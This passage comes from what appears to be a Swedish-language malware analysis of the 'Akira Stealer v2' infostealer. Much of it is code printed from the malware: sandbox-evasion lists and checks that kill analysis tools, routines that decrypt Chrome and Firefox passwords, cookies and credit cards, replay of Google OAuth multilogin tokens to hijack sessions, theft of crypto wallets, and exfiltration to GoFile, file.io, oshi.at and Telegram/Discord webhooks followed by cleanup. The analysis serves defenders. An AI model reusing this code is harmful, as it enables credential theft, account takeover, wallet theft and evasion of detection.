    '03DE0294-0480-05DE-1A06-350700080009',
    '11111111-2222-3333-4444-555555555555',
    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',
    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',
    '4C4C4544-0050-3710-8058-CAC04F59344A',
    '00000000-0000-0000-0000-AC1F6BD04972',
    '00000000-0000-0000-0000-000000000000',
    '5BD24D56-789F-8468-7CDC-CAA7222CC121',
    '49434D53-0200-9065-2500-65902500E439',
    '49434D53-0200-9036-2500-36902500F022',
    '777D84B3-88D1-451C-93E4-D235177420A7',
    '49434D53-0200-9036-2500-369025000C65',
    'B1112042-52E8-E25B-3655-6A4F54155DBF',
    '00000000-0000-0000-0000-AC1F6BD048FE',
    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',
    'A15A930C-8251-9645-AF63-E45AD728C20C',
    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',
    'C7D23342-A5D4-68A1-59AC-CF40F735B363',
    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',
    '44B94D56-65AB-DC02-86A0-98143A7423BF',
    '6608003F-ECE4-494E-B07E-1C4615D1D93C',
    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',
    '49434D53-0200-9036-2500-369025003AF0',
    '8B4E8278-525C-7343-B825-280AEBCD3BCB',
    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',
    '79AF5279-16CF-4094-9758-F88A616D81B4',
    'FE822042-A70C-D08B-F1D1-C207055A488F',
    '76122042-C286-FA81-F0A8-514CC507B250',
    '481E2042-A1AF-D390-CE06-A8F783B1E76A',
    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',
    '9961A120-E691-4FFE-B67B-F0E4115D5919'
)

Blacklisted Computer Names

BLACKLISTED_COMPUTERNAMES = (
    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',
    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',
    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',
    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',
    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',
    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',
    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',
    'desktop-vkeons4', 'NTT-EFF-2W11WSS'
)

Blacklisted User Accounts

BLACKLISTED_USERS = (
    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',
    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',
    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',
    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',
    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'
)

Blacklisted Analysis‐Tool Processes

BLACKLISTED_TASKS = (
    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',
    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',
    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',
    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',
    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',
    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',
    'discordtokenprotector', 'glasswire', 'requestly'
)

Core Detection Methods

@staticmethod
def checkUUID() -> bool:
    """WMIC hardware UUID against known VM IDs."""
    try:
        raw = subprocess.run(
            "wmic csproduct get uuid",
            shell=True, capture_output=True
        ).stdout.splitlines()[2].decode(errors='ignore').strip()
    except:
        raw = ""
    return raw in VmProtect.BLACKLISTED_UUIDS

@staticmethod
def checkComputerName() -> bool:
    """ENV %COMPUTERNAME% in VM name list."""
    return os.getenv("computername", "").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES

@staticmethod
def checkUsers() -> bool:
    """Current login username in VM users list."""
    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS

@staticmethod
def checkHosting() -> bool:
    """Query ip-api.com/hosting → 'true' indicates cloud VM."""
    http = PoolManager(cert_reqs="CERT_NONE")
    try:
        return http.request(
            'GET', 'http://ip-api.com/line/?fields=hosting'
        ).data.decode().strip() == 'true'
    except:
        return False

@staticmethod
def checkHTTPSimulation() -> bool:
    """
    Attempt TLS to random subdomain.
    Failure → possible HTTPS interception/sandbox.
    """
    http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
    try:
        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
        return True
    except:
        return False

@staticmethod
def checkRegistry() -> bool:
    """
    Look for VirtualBox/VMware in:
    - Registry driver entries
    - Video card name via WMIC
    - Presence of VM-specific folders
    """
    r1 = subprocess.run(
        "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
        "\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2",
        shell=True, capture_output=True
    )
    r2 = subprocess.run(
        "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
        "\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2",
        shell=True, capture_output=True
    )
    gpu = any(
        x.lower() in subprocess.run(
            "wmic path win32_VideoController get name",
            shell=True, capture_output=True
        ).stdout.decode().splitlines()[2].lower()
        for x in ("virtualbox", "vmware")
    )
    dirs = any(os.path.isdir(d) for d in ('D:\\Tools','D:\\OS2','D:\\NT3X'))
    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs

@staticmethod
def killTasks() -> None:
    """Continuously terminate known analysis processes."""
    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)

7.3.13 Exekverings- och avbrottslogik

  1. Initialisering: Inuti konstruktorn Akira.__init__() anropar skadekoden omedelbart VmProtect.isVM(1) för att utföra snabba virtualiseringskontroller med låg overhead (t.ex. hostname, användare, HTTPS-simulering).
  2. Fördjupad inspektion: Om det inledande testet passerar anropar den VmProtect.isVM(2), vilket utlöser mer heltäckande kontroller, inklusive validering av hardware-UUID, hosting-detektering via ip-api.com och skanning av registerartefakter.
  3. Avbrottsväg: Om någon kontroll returnerar True, vilket indikerar en virtuell miljö eller analysmiljö, kör koden sys.exit() och avslutar exekveringen innan några rutiner för datainsamling eller exfiltrering körs.

7.3.14 Slutsats

Modulen VmProtect i Akira Stealer v2 demonstrerar ett skiktat försvar mot analys som utnyttjar både lokala systemfingeravtryck och nätverksbaserade heuristiker. Genom att förstå och instrumentera dessa precisa kontroller kan försvarare vända på steken och detektera sådan undvikande skadekod i operativa miljöer.

7.4 Exfiltrering av webbläsardata

Ett av kärnmålen för Akira Stealer v2 är storskalig extraktion av känslig data som lagras i webbläsaren. Skadeprogrammet implementerar skräddarsydda moduler för att rikta in sig på både Chromium-baserade och Gecko-baserade (Firefox) webbläsare. Dess funktioner omfattar extraktion och dekryptering av sparade lösenord, cookies, kreditkortsuppgifter, autofyllposter och till och med sessionstoken som kan återanvändas för att helt kapa konton.

1. Uppsättning av arbetsyta

client_dir = Utils.get_temp_folder()  # e.g., C:\Windows\Temp\DESKTOP-1234
os.makedirs(client_dir, exist_ok=True)
for sub in ("Passwords","Cookies","CreditCards","History","Autofill","Wallets"):
    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)
  • Skapar ett tillfälligt uppsamlingsområde under systemets temp-katalog, uppkallat efter offrets maskin (%TEMP%\DESKTOP-), vilket säkerställer att alla exfiltrerade artefakter samlas på ett ställe som enkelt kan arkiveras.
  • Isolerar data efter typ: sex dedikerade undermappar (Passwords, Cookies, CreditCards, History, Autofill, Wallets) förhindrar namnkonflikter och förenklar senare zippning, eftersom varje extraktionsrutin bara skriver till sin egen mapp.
  • Idempotent mappskapande använder exist_ok=True, så om skadeprogrammet körs igen (till exempel vid omstart eller genom persistens) kraschar det inte och skriver inte över befintlig data. Nya poster läggs helt enkelt till i samma struktur.
  • Möjliggör selektiv städning: när uppladdning och notifiering är klara kan tjuvprogrammet anropa Utils.clear_client_folder() för att rekursivt radera enbart sin egen arbetsyta, utan att lämna några spår kvar.
  • Förbereder för parallella extraktionstrådar: genom att skapa alla mål i förväg kan bakgrundstrådar som samlar in webbläsaruppgifter, cookies, autofyll, kryptoplånboksdata med mera, direkt skriva resultat utan ytterligare kontroller. Det minimerar overhead och minskar fönstret för att defensiva hookar ska upptäcka oväntad filinput/output.

2. Webbläsare som stöds

  • Chromium-baserade
    • Google Chrome (Stable & SxS)
    • Microsoft Edge
    • Brave Browser
    • Opera & Opera GX
    • Chromium
    • Comodo Dragon
    • Epic Privacy Browser
    • Iridium Browser
    • UR Browser
    • Vivaldi Browser
    • Yandex Browser
    • Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran
  • Firefox-baserade (via GeckoDriver)
    • Mozilla Firefox
    • Waterfox
    • Pale Moon

    Akira lokaliserar dynamiskt användarprofiler med hjälp av miljövariabler och kända katalogstrukturer:
    user_path = os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data")
    

    Den kontrollerar rekursivt tillgängliga webbläsarprofiler (t.ex. Default, Profile 1, etc.) och riktar in sig på SQLite-databaser inom dessa sökvägar.

7.4.1 Extraherade datatyper

Datatyp Källfil Anteckningar
Sparade lösenord Login Data (Chromium) Dekrypteras via DPAPI eller AES-GCM (efter Chromium v80)
Cookies Cookies Kan innehålla sessionstoken, särskilt för Google-/Facebook-konton
Autofylldata Web Data Adresser, e-postadresser, telefonnummer med mera
Kreditkort Web Data Krypterat, kräver huvudnyckel
Sessionstoken I minnet och cookies Omfattar Gmail, Google-konton och uppspelning av Discord OAUTH
Historik och URL:er History, Visited Links Exfiltrerades också till angriparen

3. Extraktionsmoduler När skadeprogramförfattare riktar in sig på webbläsare är deras främsta skattkistor de olika SQLite-databaser där Chrome, Firefox och deras släktingar lagrar autentiseringsuppgifter, cookies, historik och autofyllposter. astor.py sammanfogar lättviktig Python och native API:er för att metodiskt plocka ut varje del av datan, och till och med spela upp levande OAuth-sessioner, utan att lämna några spår. Nedan följer en djupgående genomgång modul för modul, ordagrant från koden.

7.4.2 Lösenordsdumpare (Chromium.GetPasswords)

Den här modulen genomsöker systematiskt alla Chromium-baserade webbläsarprofiler för att extrahera sparade inloggningsuppgifter. Genom att rikta in sig på SQLite-databasen Login Data hämtar den användarnamn och krypterade lösenord, och använder sedan plattformens krypteringsnyckel (hämtad via DPAPI eller AES-GCM) för att dekryptera dem till klartext. Dessa autentiseringsuppgifter är mycket värdefulla för lateral rörelse efter intrånget eller kapning av konton.

for root, _, files in os.walk(self.BrowserPath):
    for file in files:
        if file.lower() == "login data":
            # Copy DB → open → extract rows
            results = cursor.execute(
                "SELECT origin_url, username_value, password_value FROM logins"
            ).fetchall()
            for url, user, pwd_blob in results:
                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)
                passwords.append((url, user, clear_pwd))
  • Lokaliserar varje Login Data-SQLite-databas under webbläsarens User Data-mapp.
  • Kopierar till en temporär fil för att undvika webbläsarlås.
  • SQL-fråga: SELECT origin_url, username_value, password_value FROM logins.
  • Dekrypterar varje password_value-blob via AES-GCM (v10/v11) eller Windows DPAPI som fallback.
  • Skriver resultatet till Passwords/<BrowserName> Passwords.txt.

7.4.3 Kreditkortsdumpare (Chromium.GetCreditCards)

Här kommer tjuvprogrammet åt lagrad kreditkortsdata från varje webbläsarprofils Web Data-fil. Det fokuserar på att extrahera utgångsdatum och krypterade kreditkortsnummer, som sedan dekrypteras med samma logik som lösenorden. Även om CVV-koder vanligtvis inte lagras kan den återvunna informationen ändå missbrukas för card-not-present-bedrägeri.

results = cursor.execute(
    "SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards"
).fetchall()
for month, year, enc_cc in results:
    cc_number = self.Decrypt(enc_cc, encryptionKey)
    ccs.append((cc_number, month, year))
  • Riktar in sig på SQLite-lagren i Web Data under varje profil.
  • SQL-fråga: SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards.
  • Dekrypterar card_number_encrypted på exakt samma sätt som lösenordsblobbarna.
  • Skriver resultatet till CreditCards/<BrowserName> CreditCards.txt.

Cookies, särskilt sessionscookies, är förstahandsmål för kontokapning utan lösenord. Den här modulen dumpar alla cookiefiler i samtliga profiler, dekrypterar dem och samlar in väsentlig metadata som domän, namn och utgångsdatum. Tillsammans med fingerprinting kan dessa cookies användas för uppspelningsattacker mot autentiserade tjänster utan ytterligare hinder.

results = cursor.execute(
    "SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
).fetchall()
for host, name, path, blob, expiry in results:
    cookie_val = self.Decrypt(blob, encryptionKey)
    cookies.append((host, name, path, cookie_val, expiry))
  • Skannar varje Cookies-SQLite-databas.
  • Väljer host_key, name, path, encrypted_value, expires_utc.
  • Dekrypterar varje encrypted_value-blob för att avslöja den faktiska cookie-strängen.
  • Sparar i Cookies/<BrowserName> Cookies.txt.

7.4.5 Google-sessionsdumpare (Chromium.dump_google_sessions)

Den här rutinen, en av de mer avancerade komponenterna, dekrypterar sparade OAuth-token från tabellen token_service. Genom att spela upp dem igen via Googles multilogin-endpoint kan skadeprogrammet återskapa aktiva sessionscookies, vilket gör det möjligt för angripare att kapa Google-konton utan autentiseringsuppgifter. Det illustrerar hur åtkomsttoken har blivit ett förstahandsmål i moderna infostealers.

cursor.execute("SELECT service, encrypted_token FROM token_service")
for service, blob in cursor.fetchall():
    iv = blob[3:15]
    ciphertext = blob[15:-16]
    cipher = AES.new(secret_key, AES.MODE_GCM, iv)
    token = cipher.decrypt(ciphertext).decode()
    # Replays via POST to OAuth endpoint
    response = requests.post(
        "https://accounts.google.com/oauth/multilogin",
        headers={"Authorization": f"MultiBearer {token}:{service_id}"},
        data={"source": "com.google.Drive"}
    )
    save each account's cookies to file
  • Hämtar service och den råa encrypted_token från klonen av Web Data.
  • AES-GCM-dekryptering med webbläsarens Local State-nyckel.
  • Spelar upp de dekrypterade token i en POST-förfrågan till Googles multilogin-API för att återskapa giltiga OAuth-cookies.
  • Skriver sessionsfiler per konto under Cookies/<display_email> Google Session.txt.

7.4.6 Historikdumpare (Chromium.GetHistory)

Den här funktionen extraherar poster ur surfhistoriken, inklusive URL, titel och besöksfrekvens. Utöver integritetsintrånget hjälper den här datan angripare att förstå offrets beteende, identifiera högvärdiga mål (till exempel bankportaler) eller skräddarsy social engineering-nyttolaster.

results = cursor.execute(
    "SELECT url, title, visit_count, last_visit_time FROM urls"
).fetchall()
history.sort(key=lambda x: x[3], reverse=True)
return [(url, title, count) for url, title, count, _ in history]
  • Väljer url, title, visit_count, last_visit_time från varje History-databas.
  • Sorterar posterna efter last_visit_time i fallande ordning.
  • Skriver ut History/<BrowserName> History.txt.

7.4.7 Autofylldumpare (Chromium.GetAutofills)

Autofyllposter, till exempel adresser, namn, e-postadresser och ibland betalningsrelaterad data, hämtas ut från webbläsarens Web Data-lagring. Dessa värden kan verka oviktiga var för sig, men sammantaget ger de en rik profil av offrets identitet och beteende.

results = cursor.execute(
    "SELECT name, value FROM autofill"
).fetchall()
for field, value in results:
    autofills.append((field.strip(), value.strip()))
  • Hämtar formulärposter: name, value från filen web data.
  • Skriver ut som Autofill/<BrowserName> Autofill.txt.

7.4.8 Firefox-profilinsamlare (GeckoDriver & grabFirefoxProfiles)

Till skillnad från de detaljerade Chromium-rutinerna väljer den här funktionen ett bredare angreppssätt: den komprimerar hela Firefox-profilkatalogen, inklusive sparade inloggningar, cookies och bokmärken, och exfiltrerar den i sin helhet. Det säkerställer att angripare kan analysera eller extrahera data offline och kringgå dekrypteringshinder med kända NSS-verktyg.

with zipfile.ZipFile(zip_path, 'w') as zipf:
    for root, dirs, files in os.walk(source_path):
        zipf.write(each file)
# Upload via GoFile/File.io, then POST via attacker webhooks
  • Zippar hela katalogen %APPDATA%\Mozilla\Firefox\Profiles.
  • Namnger den %TEMP%\<ComputerName>_Firefox_profiles.zip och skickar nedladdningslänken via samma webhook-kanaler.
  • Anropar även samma SQLite-baserade extraktionsfunktioner (logins.json, cookies.sqlite, places.sqlite) mot varje Firefox-profil, med hjälp av de NSS-dekrypteringsrutiner som redan finns.

7.4.9 Sammanfattning av extraktionen

Astor.py orkestrerar en omfattande kompromettering av webbläsaren genom att systematiskt samla in varje autentiseringsuppgift och sessionsartefakt hos Chromium-baserade klienter och Firefox-klienter. Den lokaliserar och kopierar säkert varje SQLite-lager, det vill säga Login Data, Web Data, Cookies, History och autofill, och kör sedan riktade SQL-frågor för att extrahera URL:er, användarnamn, lösenord, kreditkortsuppgifter, cookies, surfhistorik och formulärposter. Lösenord och betalningsdata dekrypteras via AES-GCM (eller Windows DPAPI som fallback), medan cookies packas upp på samma sätt för att avslöja deras klartextvärden. För Google-konton dekrypteras krypterade OAuth-token från token_service och spelas upp igen mot multilogin-API:et för att återskapa levande sessionscookies. Slutligen arkiveras Firefox-profiler i sin helhet (inklusive logins.json, cookies.sqlite och places.sqlite) och levereras som ZIP-filer, vilket säkerställer att ingen artefakt lämnas kvar. Den här kedjan körs tyst under %TEMP%\<ComputerName> och genererar prydligt organiserade utdatafiler för varje datakategori.

7.5 Dekrypteringslogik

Moderna webbläsare som Chrome och Edge krypterar känslig data, till exempel lösenord, cookies och kreditkortsuppgifter, innan den lagras lokalt. Akira har inbyggda dekrypteringsrutiner som är skräddarsydda för att hantera både äldre och nuvarande Chromium-krypteringsmetoder. Det säkerställer att den kan extrahera klartextdata oavsett systemets patchnivå eller webbläsarversion.

Kärnan i den här processen är extraktion och dekryptering av webbläsarens huvudkrypteringsnyckel, som lagras i en fil som heter Local State. Beroende på webbläsarversion och Windows-version väljer Akira dynamiskt lämplig dekrypteringsmetod:

DPAPI (Data Protection API) används på äldre system, där Chrome lagrar hemligheter skyddade av den aktuella användarens Windows-autentiseringsuppgifter.

AES-GCM används i moderna Chromium-versioner, där en slumpmässigt genererad huvudnyckel i sig krypteras med DPAPI och sedan används för kryptering av användardata inom appen.

Genom att först dekryptera huvudnyckeln i Local State får Akira möjlighet att låsa upp alla webbläsarens hemligheter, vilket banar väg för extraktion av autentiseringsuppgifter, token, cookies och mer.

Nyckelextraktion

local_state_path = os.path.join(user_path, "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
    local_state = json.load(f)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])

Dekryptering (AES-GCM):

nonce = value[3:15]
ciphertext = value[15:-16]
tag = value[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)

Om fallback till DPAPI behövs (på äldre system) används win32crypt.CryptUnprotectData().

Förklaring av decrypt_password_blob: Den här funktionen visar hur Akira Stealer dekrypterar varje sparat lösenordsvärde från Chromium-baserade webbläsare. Den hanterar två fall:

  1. Windows DPAPI-blobbar (äldre eller icke-GCM-krypterad data): Faller tillbaka på systemanropet CryptUnprotectData, som använder användarens Windows-autentiseringsuppgifter för att dekryptera.
  2. AES-GCM-krypterade blobbar (Chrome v10/v11-format): Tolkar versionsheadern, extraherar IV och autentiseringstaggen, och använder biblioteket cryptography för att dekryptera nyttolasten på ett säkert sätt.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend


def decrypt_password_blob(buffer: bytes, key: bytes) -> str:
    """
    Decrypts a Chrome password blob using either DPAPI or AES-GCM.

    Parameters:
    - buffer: raw encrypted blob from the `password_value` field
    - key: the master AES key retrieved via DPAPI from Local State

    Returns:
    - Decrypted UTF-8 plaintext password
    """
    # 1) DPAPI fallback for non-AES-GCM blobs
    if not buffer.startswith((b'v10', b'v11')):
        # Uses Windows CryptUnprotectData under the hood
        return CryptUnprotectData(buffer)

    # 2) AES-GCM decryption for Chrome v10/v11 format:
    # Bytes layout:
    # [0:3]    = version header ('v10'/'v11')
    # [3:15]   = initialization vector (IV)
    # [15:-16] = ciphertext payload
    # [-16:]   = GCM authentication tag
    iv = buffer[3:15]
    ciphertext = buffer[15:-16]
    tag = buffer[-16:]

    # Initialize AES-GCM cipher with extracted IV and tag
    cipher = Cipher(
        algorithms.AES(key),
        modes.GCM(iv, tag),
        backend=default_backend()
    )
    decryptor = cipher.decryptor()

    # Perform decryption; raises if authentication fails
    plaintext = decryptor.update(ciphertext) + decryptor.finalize()

    # Decode to UTF-8, ignoring any stray errors
    return plaintext.decode('utf-8', errors='ignore')

7.6 Kapning av sessionstoken

Akira stannar inte vid passiv datainsamling. Den kapar aktivt levande sessionstoken för att utge sig för att vara offret i realtid. Efter att ha extraherat krypterade token från webbläsarens lagring återskapar den nödvändig autentiseringsheader och spelar upp en MultiLogin-förfrågan mot Googles OAuth-endpoint. Kodutdraget nedan illustrerar processen:

# Build SAPISIDHASH header for Google services
origin = "https://accounts.google.com"
timestamp = int(time.time())
# Compute SHA1 of "timestamp origin SAPISID"
payload = f"{timestamp} {origin} {sap_id_cookie}".encode()
signature = hashlib.sha1(payload).hexdigest()
headers = {
    "Authorization": f"SAPISIDHASH {timestamp}_{signature}",
    "Content-Type": "application/json"
}
# Replay MultiLogin to fetch valid session cookies
response = requests.post(
    "https://accounts.google.com/accounts/multilogin",
    headers=headers,
    json={"continue": "https://mail.google.com"}
)
if response.status_code == 200:
    # Victim's cookies now present in response.cookies
    hijacked_cookies = response.cookies

Genom att spela upp den här förfrågan kan Akira utge sig för att vara användarens Gmail, Drive eller vilken annan Google-tjänst som helst som skyddas av en giltig session, helt utan autentiseringsuppgifter. Tekniken utnyttjar Googles egen logik för att acceptera token, vilket gör den nästan omöjlig att skilja från legitimt klientbeteende.

7.7 Firefox-dekryptering

Gecko-baserade webbläsare som Firefox krypterar sparade autentiseringsuppgifter och cookies med en huvudnyckel som lagras i key4.db. Akira innehåller en förenklad dekrypteringsrutin som speglar Mozillas NSS-logik och hanterar både 3DES- och AES-CBC-varianter utan att utlösa uppmaningen om huvudlösenord. Exempel på användning:

# Load global Salt and encrypted item from key4.db
db = sqlite3.connect(profile_path + "/key4.db")
cursor = db.cursor()
cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
global_salt, item2 = cursor.fetchone()

# Decode DER structure and derive key
decoded, _ = der_decode(item2)
entry_salt = decoded[0][1][0].asOctets()
cipher_text = decoded[1].asOctets()
# Derive 3DES key
key = derive_3des_key(global_salt, master_password, entry_salt)
iv = decoded[0][1][1].asOctets()
# Decrypt credentials
cipher = DES3.new(key, DES3.MODE_CBC, iv)
clear_password = unpad(cipher.decrypt(cipher_text))

print("Decrypted Firefox password:", clear_password)

Med den här rutinen kan Akira transparent dumpa logins.json, cookies.sqlite och places.sqlite för varje Firefox-profil, och skriva den dekrypterade utdatan till:

Passwords/Firefox_<ProfileName> Passwords.txt
Cookies/Firefox_<ProfileName> Cookies.txt
History/Firefox_<ProfileName> History.txt

Den här metoden kringgår kontroller av huvudlösenord på användarnivå, vilket ger tjuvprogrammet obegränsad åtkomst till alla sparade autentiseringsuppgifter.*

4. Filstruktur och namngivning

<ComputerName>.zip
└── <ComputerName>\
    ├── Passwords\
    │   ├── Chrome Passwords.txt
    │   ├── Edge Passwords.txt
    │   └── …
    ├── Cookies\
    │   ├── Chrome Cookies.txt
    │   ├── Edge Cookies.txt
    │   ├── user@example.com Google Session.txt
    │   └── …
    ├── CreditCards\
    │   ├── Chrome CreditCards.txt
    │   └── …
    ├── History\
    │   ├── Chrome History.txt
    │   └── …
    ├── Autofill\
    │   ├── Chrome Autofill.txt
    │   └── …
    └── Wallets\
        ├── Firefox_Default_profiles.zip
        ├── Firefox_Profile1_profiles.zip
        └── …
  • Varje .txt-fil börjar med en konsekvent header (<================[Akira Stealer v2]>================>) och en avgränsarrad (====…====).
  • ZIP på disk: %TEMP%\<ComputerName>.zip.
  • Filnamnsetikett för C&C: Akira-<username>.zip.

5. Exfiltrering och städning

url = Webhook.uploadToGofile(zip_path)
if not url:
    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
Webhook.sendDataTG(zip_path, chatId, startup)
Utils.clear_client_folder()
  • Primär kanal (GoFile.io): Skadeprogrammet försöker först ladda upp ZIP-arkivet med alla stulna artefakter till GoFile.io, och tolkar JSON-svaret för att hitta en downloadPage-URL som ger angriparen direkt åtkomst till arkivet.
  • Automatiska fallbacks: Om GoFile-endpointen skulle misslyckas (timeout i nätverket, rate limit och så vidare) faller koden utan problem tillbaka på file.io, och om även den returnerar en tom länk, till sist på oshi.at. Båda alternativen anropas utan att kasta undantag, vilket säkerställer att en av de tre tjänsterna alltid provas i tur och ordning.
  • Webhook-rapportering: När en URL (eller en tom sträng vid ihållande fel) har fastställts anropas Webhook.sendDataTG(...), som paketerar ihop nedladdningslänken, maskinidentifierare (chatId, flaggan startup) och alla kategoriräkningar (lösenord, cookies, autofyll, plånböcker) i ett enda Discord- eller Telegram-meddelande.
  • Omedelbar städning: Efter rapporteringen raderar Utils.clear_client_folder() rekursivt hela den temporära arbetsytan och själva ZIP-filen, utan att lämna några spår av den insamlade datan eller arkivet på disken.

Motståndskraft mot fel:

  • Alla uppladdningsrutiner returnerar "" vid fel i stället för att kasta ett undantag, vilket garanterar att kodflödet fortsätter.
  • Även om alla tjänster är oåtkomliga skickar skadeprogrammet ändå en webhook-rapport (om än med en saknad länk) innan de lokala artefakterna raderas, vilket minimerar forensiska spår såvida inte processen kraschar oväntat.

6. Robusthet och felhantering

  • Detaljerad felhantering: Varje interaktion med filsystemet, oavsett om det är shutil.copy, SQLite-frågor eller ZIP-operationer, omsluts av try/except-block. När ett fel uppstår (låst databas, nekad behörighet, felaktig post) fångas undantaget upp och loggas via Akira.logErrorTg(), och körningen fortsätter, vilket isolerar felet till just den filen eller modulen.
  • Trådisolering per webbläsare: Extraktionsrutinerna för varje webbläsare som stöds körs i en egen tråd. Den här flertrådade designen säkerställer att en krasch eller ett dödläge i en webbläsares extraktion (till exempel en trasig profil eller saknad nyckel) inte stoppar eller fördröjer analysen av andra webbläsare.
  • Tysta fallbacks och standardvärden: Många hjälprutiner, till exempel uppladdning till alternativa filvärdar, kontroll av fjärresurser eller start av underprocesser, använder nästlade try/except-block utan synliga varningar, vilket maximerar smygförmågan. Standardvärden (tomma strängar, booleaner) väljs för att hålla flödet ostört och undvika uppenbara felvillkor.
  • Mutex och startskydd: En namngiven mutex (1qsMlseJplTlArIF14f) förhindrar flera instanser, medan registerkontroller och Utils.CreateMutex() skyddar mot samtidiga körningar, vilket ger ytterligare stabilitet vid verklig användning.

7.8 Exfiltrering av plånböcker och token

I den här fasen genomför Akira Stealer v2 den mest omfattande genomsökningen efter kryptovalutauppgifter och sessionstoken, och täcker webbläsartillägg, skrivbordsplånböcker, meddelandetoken och keylogging i realtid. Den körs i parallella trådar, vilket säkerställer att ingen vektor missas. Nedan följer en steg-för-steg-genomgång med stöd i koden.

7.8.1 Plånböcker som webbläsartillägg

Mål: Över 80 tillägg i populära webbläsare, bland annat MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman och fler.

# Hardcoded list of extension IDs and human-friendly names
walletsExtensions = [
    ["MetaMask",        "nkbihfbeogaeaoehlefnkodbefgpgknn"],
    ["Phantom",         "bfnaelmomeimhlpmgjnjophhpkkoljpa"],
    ["TrustWallet",     "egjidjbpglichdcondbcbdnbeeppgdph"],
    ["CoinbaseWallet",  "hfhmhopkfngkjcalldmaepmpilmjjemb"],
    ["Solflare",        "bhhhlbepdkbapadjdnnojkbgioiodbic"],
    ["BinanceChain",    "fhbohimaelbohpjbbldcngcnapndodjp"],
    ["Keplr",           "dmkamcknogkgcdfhhbddcghachkejeap"],
    ["Nami",            "lpfcbjknijpeeillifnkikgncikgfhdo"],
    ["Talisman",        "fijngjgcjhjmmpcmkeiomlglpeiijkld"],
    ["TronLink",        "ibnejdfjmmkpcnlpebklmnkoeoihofec"],
    # ... plus dozens more mapped in code
]
# Extraction loop for each browser profile
for browser_name, (user_data, proc_name) in paths.items():
    base = os.path.join(user_data, "Default", "Local Extension Settings")
    for ext_name, ext_id in walletsExtensions:
        src = os.path.join(base, ext_id)
        if os.path.isdir(src):
            dest = os.path.join(Utils.get_temp_folder(), "Wallets", f"{ext_name}_{browser_name}")
            shutil.copytree(src, dest, dirs_exist_ok=True)
            data.ext_wallets_count += 1
  • Kopierade filer: Tilläggsspecifika IndexedDB-, LevelDB-, JSON- och konfigurationsfiler som innehåller krypterade nycklar, återställningsfraser och inloggningsuppgifter.
  • Resultatmapp: Wallets/MetaMask_Chrome/, Wallets/Phantom_Edge/ med flera.

7.8.2 Skrivbordsplånböcker

Mål: Stora skrivbordsklienter som Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi med flera.

walletsDesktop = [
    ["Electrum",     os.path.join(os.getenv('APPDATA'), "Electrum", "wallets")],
    ["Exodus",       os.path.join(os.getenv('APPDATA'), "Exodus", "exodus.wallet")],
    ["AtomicWallet", os.path.join(os.getenv('LOCALAPPDATA'), "atomic", "Local Storage", "leveldb")],
    ["Guarda",       os.path.join(os.getenv('APPDATA'), "Guarda", "Local Storage", "leveldb")],
    ["Rabby",        os.path.join(os.getenv('APPDATA'), "rabby-desktop")],
    ["Coinomi",      os.path.join(os.getenv('APPDATA'), "Coinomi", "wallets")],
]
for name, path in walletsDesktop:
    if os.path.isdir(path):
        Utils.TaskKill(name.lower())
